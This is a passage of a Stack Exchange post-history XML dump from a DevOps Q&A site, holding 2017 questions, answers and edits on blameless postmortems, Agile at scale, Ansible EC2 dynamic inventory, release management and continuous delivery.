https://www.youtube.com/watch?v=YCrhemssYuI" ContentLicense="CC BY-SA 3.0" />
  <row Id="941" PostHistoryTypeId="2" PostId="311" RevisionGUID="1ecf244c-64f0-498d-b3bf-1a264d34989d" CreationDate="2017-03-04T11:22:25.333" UserId="6" Text="**Categories of errors**&#xD;&#xA;&#xD;&#xA;There are two ways of looking at human factors that lead to problems and accidents:&#xD;&#xA;&#xD;&#xA;1. You can see human error as the cause of a mishap. In this case&#xD;&#xA;&quot;human error&quot;, under whatever label—loss of situation awareness,&#xD;&#xA;procedural violation, regulatory shortfalls, managerial deficiencies—&#xD;&#xA;is the conclusion to your investigation.&#xD;&#xA;2. You can see human error as the symptom of deeper trouble. In this&#xD;&#xA;case, human error is the starting point for your investigation. You&#xD;&#xA;will probe how human error is systematically connected to features&#xD;&#xA;of people's tools, tasks and operational/organizational environment.&#xD;&#xA;&#xD;&#xA;The first we is called the *human* approach, and the second as the *system* approach.&#xD;&#xA;&#xD;&#xA;To explain failure using the human approach, you would seek failure and find people's inaccurate assessments, wrong decisions or bad judgments.&#xD;&#xA;&#xD;&#xA;To explain failure using the system approach, you are not trying to find where people went wrong. Instead,  find how people's assessments and actions made sense at the time, given the circumstances that surrounded them.&#xD;&#xA;&#xD;&#xA;For example, Donald Berwick of the Institute for Healthcare Improvement (IHI) argues that improving patient safety requires *changes in the design of systems*:&#xD;&#xA;&#xD;&#xA;&gt; ...We are human and humans err. Despite outrage, despite grief, despite experience, despite our best efforts, despite our deepest wishes, we are born fallible and will remain so. Being careful helps, but it brings us nowhere near perfection... The remedy is in changing systems of work. The remedy is in design. The goal should be extreme safety. I believe we should be as safe in our hospitals as we are in our homes. But we cannot reach that goal through exhortation, censure, outrage, and shame. We can reach it only by commitment to change, so that normal, human errors can be made irrelevant to outcome, continually found, and skillfully mitigated.&#xD;&#xA;&gt;  &#xD;&#xA;&gt; [Donald M Berwick. Not again! BMJ 2001][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Removing mistakes from the system**&#xD;&#xA;&#xD;&#xA;A great way to find (and correct) the various ways failure happens after the fact, is searching for the root cause without blaming the people. This is often called &quot;blameless post mortems&quot;, and [Etsy Code as Craft blog post][2] expands on the concept. People at Etsy presented and wrote [more about it on other forums][3] and blogs.&#xD;&#xA;&#xD;&#xA;To prevent mistakes in the first place, some culture traits are a must. Procedures and various artifacts created in the system must test that using them by humans is very clean and self-explanatory. Often those who create are not those who consume, leading to a disconnect and lack of clarity. The system is then not safe to operate since the only person who knows all the assumptions is the one who created it (and no one else).&#xD;&#xA;&#xD;&#xA;*Effective control measures*&#xD;&#xA;&#xD;&#xA;Put in place effective control measures to stop the process when an error occurs. This is mistake-proofing. Effective control measures are design changes that prevent or stop processes from continuing when an error has occurred by introducing a process failure&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;In 1896, Sakichi Toyoda invented Japan’s first power loom called “the Toyoda Steam power loom”. This development increased productivity by twenty times and the quality of the textiles improved and caused a revolution in the textile industry in Japan. But here’s the subtle but very important discovery and principle:&#xD;&#xA;&#xD;&#xA;&gt; when the needle broke, the machine stopped&#xD;&#xA;&#xD;&#xA;Sakichi Toyoda created an innovation to the Loom that would later become one of the pillars in the Toyota Production System (Lean). That pillar we now call Jidoka, sometimes called “smart automation with a human touch” or “autonomation”.&#xD;&#xA;&#xD;&#xA;In large part, Andon (stop at first defect) and Poka-Yoke (mistake proofing) are later developments that find their influence from the Loom.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Removing Single-Point Weaknesses*&#xD;&#xA;&#xD;&#xA;The term single-point weakness refers to the creation of redundancies in the system as an approach to improving system reliability. Redundancy is created by increasing the number of systems or individuals involved in the process. Having more back-up systems or more checks (double, triple, or more) increases the probability that the process will proceed correctly.&#xD;&#xA;&#xD;&#xA;*Make Hazards Obvious*&#xD;&#xA;&#xD;&#xA;If hazards are made obvious, or impossible to reach, humans cannot create mistakes. For example color-coding is a common approach to making mistakes more obvious. Or if you think of various computer sockets that can only be inserted one way and not the other, etc.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Some great books are talking about the subject, and it would not be a good answer without mentioning them:&#xD;&#xA;&#xD;&#xA;* [The Field Guide to Understanding 'Human Error'][4] by Sidney Dekker&#xD;&#xA;* [Site Reliability Engineering: How Google Runs Production Systems][5]&#xD;&#xA;* [Zero Quality Control: Source Inspection and the Poka-Yoke System][6] by Shigeo Shingo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bmj.com/content/322/7281/247&#xD;&#xA;  [2]: https://codeascraft.com/2012/05/22/blameless-postmortems/&#xD;&#xA;  [3]: https://www.infoq.com/articles/postmortems-etsy&#xD;&#xA;  [4]: https://www.amazon.com/dp/B00Q8XCSFI&#xD;&#xA;  [5]: https://www.amazon.com/dp/B01DCPXKZ6&#xD;&#xA;  [6]: https://www.amazon.com/dp/0915299070/" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostHistoryTypeId="2" PostId="312" RevisionGUID="24c361e2-3762-41c6-885c-a0dd5f877293" CreationDate="2017-03-04T11:37:02.693" UserId="3" Text="I've been working on couple of Agile projects with over 100 developers without any problems, so from my personal experience, to deal with such big workflow, here are some suggestions:&#xD;&#xA;&#xD;&#xA;- Team definitely should to be split (max. ~12 people each).&#xD;&#xA;&#xD;&#xA;  Make sure you've the right people with the right skills in each team, so they're independent (cross-functional teams). DevOps doesn't have to be part of development teams.&#xD;&#xA;&#xD;&#xA;- Each team should work on their own components/modules, so their work won't conflict with other teams.&#xD;&#xA;- Once feature/component or bug is completed and tested in separate branch, developer should be responsible for sending and maintaining a valid mergeable *Pull Request* to be approved by other team members.&#xD;&#xA;- Often commits and pulling from master branch will avoid any surprises about code conflicts.&#xD;&#xA;- Each Pull Request should be automatically tested in CI and once approved, should be merged (either development or master branch).&#xD;&#xA;- Deployment to development branch should be done on each Pull Request being merged and tested on development environment by automated tests and manually, so only stable code can progress upstream.&#xD;&#xA;&#xD;&#xA;To summarize, the main point in order to avoid spending too much time on merging complex branches, introduce *Pull Request*, so each requester is responsible for mergeability of his own code and other developers are responsible for reviewing the change, so no any unpredictable branches or conflicts are possible in this case.&#xD;&#xA;&#xD;&#xA;So yes, Agile methodologies can scale for massive scale projects." ContentLicense="CC BY-SA 3.0" />
  <row Id="943" PostHistoryTypeId="5" PostId="157" RevisionGUID="59a67d62-2b41-448d-970c-d29584717450" CreationDate="2017-03-04T12:02:05.260" UserId="3" Comment="Improves question." Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between these two roles? How to distinguish them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: http://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostHistoryTypeId="4" PostId="157" RevisionGUID="59a67d62-2b41-448d-970c-d29584717450" CreationDate="2017-03-04T12:02:05.260" UserId="3" Comment="Improves question." Text="What is the difference between Sysadmin and DevOps Engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostHistoryTypeId="2" PostId="313" RevisionGUID="f538810a-d0cc-4689-abf2-f5f467fe7a7a" CreationDate="2017-03-04T12:16:46.167" UserId="342" Text="I am new to `Ansible`, when I am using `ec2.py` dynamic inventory to generate inventory, after the playbook is finished to run, the results are shown as list of IP addresses under specific tag with underscore instead of dot, for example I want to run a playbook on instances with specific tag, I wonder how other people work with private IP addresses? &#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: tag_test_staging&#xD;&#xA;      sudo: true&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Make sure that we can connect to the machine&#xD;&#xA;        ping:&#xD;&#xA;    &#xD;&#xA;    	PLAY RECAP *********************************************************************&#xD;&#xA;    	10_80_20_47                : ok=0    changed=0    unreachable=1    failed=0 &#xD;&#xA;&#xD;&#xA;The results from ec2.py:&#xD;&#xA;&#xD;&#xA;     &quot;tag_test_staging&quot;: [&#xD;&#xA;        &quot;10_80_20_47&quot;&#xD;&#xA;      ],&#xD;&#xA;&#xD;&#xA;ec2.ini:&#xD;&#xA;&#xD;&#xA;    hostname_variable = private_ip_address&#xD;&#xA;    destination_variable = private_ip_address&#xD;&#xA;    vpc_destination_variable = private_ip_address&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostHistoryTypeId="1" PostId="313" RevisionGUID="f538810a-d0cc-4689-abf2-f5f467fe7a7a" CreationDate="2017-03-04T12:16:46.167" UserId="342" Text="Ansible Dynamic Inventory - generate inventory with private ip addresses under specific tag with underscore instead of dot" ContentLicense="CC BY-SA 3.0" />
  <row Id="947" PostHistoryTypeId="3" PostId="313" RevisionGUID="f538810a-d0cc-4689-abf2-f5f467fe7a7a" CreationDate="2017-03-04T12:16:46.167" UserId="342" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="948" PostHistoryTypeId="11" PostId="157" RevisionGUID="94ce15dd-a6e6-453b-9f3e-0c055c05e351" CreationDate="2017-03-04T12:19:47.367" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;}]}" />
  <row Id="949" PostHistoryTypeId="5" PostId="313" RevisionGUID="924ce298-e785-407a-9caa-f0c21c9fb950" CreationDate="2017-03-04T12:26:52.853" UserId="14" Comment="Program names do not necessarily need backticks; tried to break sentence up to be more readable" Text="I am new to Ansible. When I am using `ec2.py` dynamic inventory to generate inventory, after the playbook is finished to run, the results are shown as list of IP addresses under specific tag with underscore instead of dot. For example I want to run a playbook on instances with specific tag, I wonder how other people work with private IP addresses? &#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: tag_test_staging&#xD;&#xA;      sudo: true&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Make sure that we can connect to the machine&#xD;&#xA;        ping:&#xD;&#xA;    &#xD;&#xA;    	PLAY RECAP *********************************************************************&#xD;&#xA;    	10_80_20_47                : ok=0    changed=0    unreachable=1    failed=0 &#xD;&#xA;&#xD;&#xA;The results from ec2.py:&#xD;&#xA;&#xD;&#xA;     &quot;tag_test_staging&quot;: [&#xD;&#xA;        &quot;10_80_20_47&quot;&#xD;&#xA;      ],&#xD;&#xA;&#xD;&#xA;ec2.ini:&#xD;&#xA;&#xD;&#xA;    hostname_variable = private_ip_address&#xD;&#xA;    destination_variable = private_ip_address&#xD;&#xA;    vpc_destination_variable = private_ip_address&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostHistoryTypeId="5" PostId="178" RevisionGUID="5872b724-1f3a-4d3b-bb6b-472879fa271b" CreationDate="2017-03-04T12:48:43.667" UserId="14" Comment="Remove [tag:] syntax because most of the tags used don't exist" Text="Because you mention waterfall, I understand that the numerous branches you are alluding to are feature-branches rather than maintenance-branches.&#xD;&#xA;&#xD;&#xA;In this setup, I also assume that these branches are created according to a waterfall plan that tries to minimise conflicts.  This implies that the goal of the development is to produce several distinct products.  When using a single-branch development model, it is important to also work on a single product. If several products are simultaneously developed in a single-branch development model, it effectively “glues” together versions of theses products, so that we might have in version *a* of the repository a healthy product *X* and a buggy product *Y*, while in version *b* the product *X* has a regression and *Y* a bug fix, but we have no version where both *X* and *Y* are healthy.  Such a situation would force us to consider *X* and *Y* as being developed in distinct repositories, which is a hint that they should be.&#xD;&#xA;&#xD;&#xA;Therefore, the first steps should [perform a repository split](/q/171):&#xD;&#xA;&#xD;&#xA;1. Arrange the repository so that it is easy to split it into several small repositories. For instance, rearrange the current repository so that each top-level directory corresponds to a repository you want to create in the future. Doing so, you can continue to use the *branch-spaghetti* discipline everybody is familiar with.&#xD;&#xA;&#xD;&#xA;2. When step 1 is completed, refine the *branch-spaghetti* discipline by requiring that any single branch can only touch files in one top-level directory.&#xD;&#xA;&#xD;&#xA;3. When each branch complies with step 2, perform the split. Developers can easily convert their pending changes to patch a single repository, just by removing the first-level of the path.&#xD;&#xA;&#xD;&#xA;Now that the split has been performed, you can start working on the branch discipline itself.&#xD;&#xA;&#xD;&#xA;4. Introduce programming techniques helping the development of short-lived branches. Branches being short-lived is a crucial aspect of all single-branch methodologies. One of their goals is to reduce the time spent on merging and debugging long-lived branches. A popular technique is the introduction of “feature-flags” where a “factory” uses a configuration flag to either produce the historic version of an object or the new, initially partially developed, version of that object.&#xD;&#xA;&#xD;&#xA;5. By now, you have zillions of repositories with only a few branches in each, and you can turn the “we globally adopt the trunk-based development discipline” button, without seeing the original *branch-spaghetti* mountain collapsing on the trunk.&#xD;&#xA;&#xD;&#xA;The actual split of repositories might be optional, but you would then have to adopt policies that cleanly delineate the allowed scope of each submitted patch (to limit the risk of conflicts when merging changes in the main branch). Reducing the overhead bound to conflicts is one of the goals of single-branch model methodologies, so I assume this is relevant in your context." ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostHistoryTypeId="2" PostId="314" RevisionGUID="d3989e2e-303e-433f-8bcc-023579428be5" CreationDate="2017-03-04T12:51:06.503" UserId="40" Text="When explaining DevOps to somebody, it happens that a question comes up like:&#xD;&#xA;&#xD;&#xA;&gt; **`How does Release Management using the Agile methodology differ from Waterfall?`**.&#xD;&#xA;&#xD;&#xA;So what kind of criteria can you use to explain these differences to such audience?" ContentLicense="CC BY-SA 3.0" />
  <row Id="952" PostHistoryTypeId="1" PostId="314" RevisionGUID="d3989e2e-303e-433f-8bcc-023579428be5" CreationDate="2017-03-04T12:51:06.503" UserId="40" Text="Which Release Management aspects help explain the difference between Waterfall and Agile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostHistoryTypeId="3" PostId="314" RevisionGUID="d3989e2e-303e-433f-8bcc-023579428be5" CreationDate="2017-03-04T12:51:06.503" UserId="40" Text="&lt;release-management&gt;&lt;agile&gt;&lt;waterfall&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="954" PostHistoryTypeId="2" PostId="315" RevisionGUID="a66be4d0-ba24-4688-b2e1-9a778cab690e" CreationDate="2017-03-04T12:51:06.503" UserId="40" Text="&#xD;&#xA;Not sure if there aren't any others, but these are the criteria I use:&#xD;&#xA;&#xD;&#xA;    +-------------------+-----------+-----------+&#xD;&#xA;    ! Criteria          ! Agile     ! Waterfall !&#xD;&#xA;    +-------------------+-----------+-----------+&#xD;&#xA;    ! Release Events    ! Frequent  ! Rare      !&#xD;&#xA;    ! Risk              ! Less      ! High      !&#xD;&#xA;    ! Required Effort   ! Smoother  ! Peaks     !&#xD;&#xA;    ! Volume of changes ! Small     ! Huge      !&#xD;&#xA;    +-------------------+-----------+-----------+&#xD;&#xA;&#xD;&#xA;And if you really want to experience the difference yourself as a user of some software, then think of using some software (like a Linux distribution), where you have a choice between using either of those releases:&#xD;&#xA;&#xD;&#xA;- a &quot;**`Rolling`**&quot; release (==&gt; Agile).&#xD;&#xA;&#xD;&#xA;- a &quot;**`Long Term Support`**&quot; release (==&gt; Waterfall)." ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostHistoryTypeId="5" PostId="314" RevisionGUID="8fc5ef2a-3ea8-4745-8fa6-d9edbee2b612" CreationDate="2017-03-04T12:59:46.350" UserId="14" Comment="Backticks are for code; remove unnecessary full stop after question mark." Text="When explaining DevOps to somebody, it happens that a question comes up like:&#xD;&#xA;&#xD;&#xA;&gt; **How does Release Management using the Agile methodology differ from Waterfall?**&#xD;&#xA;&#xD;&#xA;So what kind of criteria can you use to explain these differences to such audience?" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostHistoryTypeId="5" PostId="313" RevisionGUID="ea7cab7c-822b-4c45-9ef5-1f94ec5987fc" CreationDate="2017-03-04T14:19:12.107" UserId="342" Comment="added 265 characters in body; edited title" Text="I am new to Ansible. When I am using `ec2.py` dynamic inventory to generate inventory, after the playbook is finished to run, the results are shown as list of IP addresses under specific tag with underscore instead of dot. &#xD;&#xA;For example I want to run a playbook on instances with specific tag, I wonder how other people work with IP addresses? &#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: tag_test_staging&#xD;&#xA;      sudo: true&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Make sure that we can connect to the machine&#xD;&#xA;        ping:&#xD;&#xA;    &#xD;&#xA;    	PLAY RECAP *********************************************************************&#xD;&#xA;    	10_80_20_47                : ok=0    changed=0    unreachable=1    failed=0 &#xD;&#xA;&#xD;&#xA;For private address, ec2.ini:&#xD;&#xA;&#xD;&#xA;    hostname_variable = private_ip_address&#xD;&#xA;    destination_variable = private_ip_address&#xD;&#xA;    vpc_destination_variable = private_ip_address&#xD;&#xA;&#xD;&#xA;The results from ec2.py:&#xD;&#xA;&#xD;&#xA;     &quot;tag_test_staging&quot;: [&#xD;&#xA;        &quot;10_80_20_47&quot;&#xD;&#xA;      ],&#xD;&#xA;&#xD;&#xA;For Public Address, ec2.ini:&#xD;&#xA;&#xD;&#xA;    hostname_variable = ip_address&#xD;&#xA;    destination_variable = public_dns_name&#xD;&#xA;    vpc_destination_variable = ip_address&#xD;&#xA;&#xD;&#xA;The results from ec2.py:&#xD;&#xA;&#xD;&#xA;     &quot;tag_test_staging&quot;: [&#xD;&#xA;        &quot;52_28_11_11&quot;&#xD;&#xA;      ],&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostHistoryTypeId="4" PostId="313" RevisionGUID="ea7cab7c-822b-4c45-9ef5-1f94ec5987fc" CreationDate="2017-03-04T14:19:12.107" UserId="342" Comment="added 265 characters in body; edited title" Text="Ansible Dynamic Inventory - generate inventory with ip addresses under specific tag with underscore instead of dot" ContentLicense="CC BY-SA 3.0" />
  <row Id="958" PostHistoryTypeId="2" PostId="316" RevisionGUID="250fb358-8942-4460-809b-ddd3c79c97a5" CreationDate="2017-03-04T15:24:04.863" UserId="342" Text="It works if I comment out the hostname_variable, because it allow to override the inventory_name with an ec2 variable, instead of using the destination_variable&#xD;&#xA;&#xD;&#xA;    #hostname_variable = private_ip_address&#xD;&#xA;    #hostname_variable = ip_address&#xD;&#xA;    destination_variable = public_dns_name&#xD;&#xA;    vpc_destination_variable = private_ip_address&#xD;&#xA;&#xD;&#xA;For Private IPs:&#xD;&#xA;&#xD;&#xA;    destination_variable = private_ip_address&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostHistoryTypeId="2" PostId="317" RevisionGUID="0acf3a01-2f34-4e8a-92aa-7555d1939c8f" CreationDate="2017-03-04T16:09:54.403" UserId="513" Text="IMO opinion your issue isn't with Elastic Beanstalk in that scenario, it's with Jenkins, or at least the way you're using it. You should really concentrate on building &quot;a thing&quot; only once, regardless of what that thing is. &#xD;&#xA;&#xD;&#xA;Full Disclosure: I work for ThoughtWorks and am incredibly biased to GoCD. I'll try to spell out what I mean in as neutral was as I can. I will use our tool's docs are examples, but hopefully people can extrapolate to their systems.&#xD;&#xA;&#xD;&#xA;Somewhere early in your [pipeline][1] you're building &quot;artifacts&quot;. This could be binaries representing all or part of your application, or they could be output from any number of tools such as testing tools. These artifacts should be [stored by the system][2] and never built again. The system should then fetch the artifact from the proper revision when needed.&#xD;&#xA;&#xD;&#xA;For example...&#xD;&#xA;&#xD;&#xA; 1. I build a .jar file and run some unit tests on it, basic C/I stuff. If it passes, that .jar file and the output of the tests gets uploaded to that specific [pipeline job][3].&#xD;&#xA; 2. The next pipeline could be your deployment to a more complex testing environment. It should fetch the *exact* jar from the *exact* job that built it. It then executes Elastic Beanstalk to deploy that jar to the correct environment.&#xD;&#xA; 3. The next pipeline is your staging deployment. It goes all the way back to the first pipeline and fetches the *exact* jar from the *exact* job that built it. In then executus Elastic Beanstalk to deploy that jar to the correct environment.&#xD;&#xA;&#xD;&#xA;These are each separate pipelines because that allows you to [run more in parallel][4] or on demand without blocking.&#xD;&#xA;&#xD;&#xA;You could use Elastic Beanstalk, Chef, Puppet, Ansible, uDeploy or any number of other tools to do the actual deployments. That's not where your issue is coming from. Continuous Integration servers weren't built originally to do this. Of course there are lots of plugins you can use to get to the same place if that's your preference. &#xD;&#xA;&#xD;&#xA;Continuous Delivery servers like [GoCD][5], [Chef Automate][6] and [ConcourseCI][7] were built specifically to solve things like this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.gocd.io/getting-started/part-1/#concept2&#xD;&#xA;  [2]: https://www.gocd.io/getting-started/part-2/#using_artifacts&#xD;&#xA;  [3]: https://www.gocd.io/getting-started/part-1/#concept4&#xD;&#xA;  [4]: https://continuousdelivery.com/implementing/patterns/&#xD;&#xA;  [5]: https://www.gocd.io/&#xD;&#xA;  [6]: https://www.chef.io/automate/&#xD;&#xA;  [7]: https://concourse.ci/" ContentLicense="CC BY-SA 3.0" />
  <row Id="960" PostHistoryTypeId="2" PostId="318" RevisionGUID="fce0a29f-823f-41b9-bf0f-5e7238d50e21" CreationDate="2017-03-04T16:38:09.980" UserId="513" Text="IMO DevOps is culture, much like Agile (without choosing an agile methodology.) Therefore you don't &quot;do&quot; DevOps.&#xD;&#xA;&#xD;&#xA;You &quot;do&quot; a release methodology called Continuous Delivery as part of a DevOps Culture. (full disclosure, I don't think I've ever referred to CD as a release methodology before, but in my jetlagged state I think it works)&#xD;&#xA;&#xD;&#xA;If you'll buy that, then here's the definition of Continuous Delivery from one of the people who wrote the book by the same title, [Jez Humble][1].&#xD;&#xA;&#xD;&#xA;&gt; Continuous Delivery is the ability to get changes of all types—including new features, configuration changes, bug fixes and experiments—into production, or into the hands of users, safely and quickly in a sustainable way.&#xD;&#xA;&#xD;&#xA;&gt; Our goal is to make deployments—whether of a large-scale distributed system, a complex production environment, an embedded system, or an app—predictable, routine affairs that can be performed on demand.&#xD;&#xA;&#xD;&#xA;&gt; We achieve all this by ensuring our code is always in a deployable state, even in the face of teams of thousands of developers making changes on a daily basis. We thus completely eliminate the integration, testing and hardening phases that traditionally followed “dev complete”, as well as code freezes.&#xD;&#xA;&#xD;&#xA;So then, you can work in an Agile methodology, having software you can demonstrate to the business, making sure you're doing proper automated testing, reacting well the change and all of the things that make it better than waterfall. All too often that **doesn't** mean you could actually deploy it to production.&#xD;&#xA;&#xD;&#xA;You end up with something like this:&#xD;&#xA;[![agile without cd][2]][2]&#xD;&#xA;&#xD;&#xA;So the software will (probably) be better when you're done then if you didn't have some sort of iterative approach, but you don't really know because real users haven't ever seen it.&#xD;&#xA;&#xD;&#xA;What you really want is something that looks more like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Every iteration, something gets deployed to production. So, the software is **deployed**. If you decide to create downloads, open up the web server, or however you get software into the hands of users it's **released**. &#xD;&#xA;&#xD;&#xA;## What the heck!? I asked about DevOps! Nobody asked about Continuous Delivery!! ##&#xD;&#xA;&#xD;&#xA;So what does DevOps have to do with this?&#xD;&#xA;&#xD;&#xA;It's very, very hard (approaching impossible) to truly have your software in a state where you could deploy it whenever you want unless that team is working in a DevOps culture. A culture where System Admins, DBA, SREs, Security People, Devs, QAs, etc., etc., are all part of a single team and not siloed part of an organization with handoffs. &#xD;&#xA;&#xD;&#xA;  [1]: https://continuousdelivery.com/&#xD;&#xA;  [2]: https://i.stack.imgur.com/ey7VV.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/DBXF3.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="961" PostHistoryTypeId="2" PostId="319" RevisionGUID="9904c71c-1e2e-484a-a8b1-156f31d81567" CreationDate="2017-03-04T17:15:23.157" UserId="517" Text="I think you already got some comprehensive responses, but you said your english isn't great, so I'll try to provide a very brief and understandable answer.&#xD;&#xA;&#xD;&#xA;The primary goal of development is to make changes.&#xD;&#xA;&#xD;&#xA;The primary goal of operations is to keep the environment stable.&#xD;&#xA;&#xD;&#xA;These two things conflict. That being said, development and operations should not oppose one another. They should work together to make sure both goals can be achieved. This is the purpose of DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostHistoryTypeId="5" PostId="302" RevisionGUID="e9cf9ff5-da03-4cae-aca5-1230812bcb47" CreationDate="2017-03-04T17:49:11.963" UserId="14" Comment="Correct grammar (previous edit was rejected because using backticks is only for code—see http://meta.stackexchange.com/questions/135112/inline-code-spans-should-not-be-used-for-emphasis-right)" Text="I'm still a student, but I'm not knowledgeable about operations, and my English is still bad.&#xD;&#xA;&#xD;&#xA;My question is: **Why does development oppose operations**? When does developing oppose operations?  &#xD;&#xA;I want to know this because it is important to know DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="963" PostHistoryTypeId="5" PostId="318" RevisionGUID="84376555-e76e-4f65-9c68-5658192cab1d" CreationDate="2017-03-04T17:55:35.747" UserId="40" Comment="integrate comment from OPer" Text="IMO DevOps is culture, much like Agile (without choosing an agile methodology.) Therefore you don't &quot;do&quot; DevOps.&#xD;&#xA;&#xD;&#xA;You &quot;do&quot; a release methodology called Continuous Delivery as part of a DevOps Culture. (full disclosure, I don't think I've ever referred to CD as a release methodology before, but in my jetlagged state I think it works)&#xD;&#xA;&#xD;&#xA;If you'll buy that, then here's the definition of Continuous Delivery from one of the people who wrote the book by the same title, [Jez Humble][1].&#xD;&#xA;&#xD;&#xA;&gt; Continuous Delivery is the ability to get changes of all types—including new features, configuration changes, bug fixes and experiments—into production, or into the hands of users, safely and quickly in a sustainable way.&#xD;&#xA;&#xD;&#xA;&gt; Our goal is to make deployments—whether of a large-scale distributed system, a complex production environment, an embedded system, or an app—predictable, routine affairs that can be performed on demand.&#xD;&#xA;&#xD;&#xA;&gt; We achieve all this by ensuring our code is always in a deployable state, even in the face of teams of thousands of developers making changes on a daily basis. We thus completely eliminate the integration, testing and hardening phases that traditionally followed “dev complete”, as well as code freezes.&#xD;&#xA;&#xD;&#xA;So then, you can work in an Agile methodology, having software you can demonstrate to the business, making sure you're doing proper automated testing, reacting well the change and all of the things that make it better than waterfall. All too often that **doesn't** mean you could actually deploy it to production.&#xD;&#xA;&#xD;&#xA;You end up with something like this:&#xD;&#xA;[![agile without cd][2]][2]&#xD;&#xA;&#xD;&#xA;So the software will (probably) be better when you're done then if you didn't have some sort of iterative approach, but you don't really know because real users haven't ever seen it.&#xD;&#xA;&#xD;&#xA;What you really want is something that looks more like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Every iteration, something gets deployed to production. So, the software is **deployed**. If you decide to create downloads, open up the web server, or however you get software into the hands of users it's **released**. &#xD;&#xA;&#xD;&#xA;## What the heck!? I asked about DevOps! Nobody asked about Continuous Delivery!! ##&#xD;&#xA;&#xD;&#xA;So what does DevOps have to do with this?&#xD;&#xA;&#xD;&#xA;It's very, very hard (approaching impossible) to truly have your software in a state where you could deploy it whenever you want unless that team is working in a DevOps culture. A culture where System Admins, DBA, SREs, Security People, Devs, QAs, etc., etc., are all part of a single team and not siloed part of an organization with handoffs.&#xD;&#xA;&#xD;&#xA;**Note**:&#xD;&#xA;&#xD;&#xA;About part of a comment posted to this answer, which was like so:&#xD;&#xA;&#xD;&#xA;&gt; About your &quot;... software in a state where you could deploy it whenever you want ...&quot;: that reminds me about &quot;automatic pilot&quot; software (in a plane) ... My favorite question about that: &quot;**Imagine an update is applied to such software ... How would you feel about doing so inflight ... While you're in onboard?**&quot;.&#xD;&#xA;&#xD;&#xA;I love that question (in bold, in the above quote)! The idea of &quot;is it really ready?&quot; is something I rant about all the time - [blog][4]. IMO it's vital that you're confident in security, performance and other too often &quot;secondary&quot; tests in order to practice CD. The features are done when they're done, but hackers are always there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://continuousdelivery.com/&#xD;&#xA;  [2]: https://i.stack.imgur.com/ey7VV.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/DBXF3.png&#xD;&#xA;  [4]: https://www.gocd.io/2016/01/17/not-done-unless-its-done/" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostHistoryTypeId="24" PostId="318" RevisionGUID="84376555-e76e-4f65-9c68-5658192cab1d" CreationDate="2017-03-04T17:55:35.747" Comment="Proposed by 40 approved by 513 edit id of 89" ContentLicense="CC BY-SA 3.0" />
  <row Id="965" PostHistoryTypeId="2" PostId="320" RevisionGUID="de4cda4c-29f3-4b3b-ad24-ad03db98eaa7" CreationDate="2017-03-04T18:42:19.017" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostHistoryTypeId="1" PostId="320" RevisionGUID="de4cda4c-29f3-4b3b-ad24-ad03db98eaa7" CreationDate="2017-03-04T18:42:19.017" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="967" PostHistoryTypeId="2" PostId="321" RevisionGUID="59348847-84a7-47af-9f17-494d62cd5827" CreationDate="2017-03-04T18:42:19.017" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
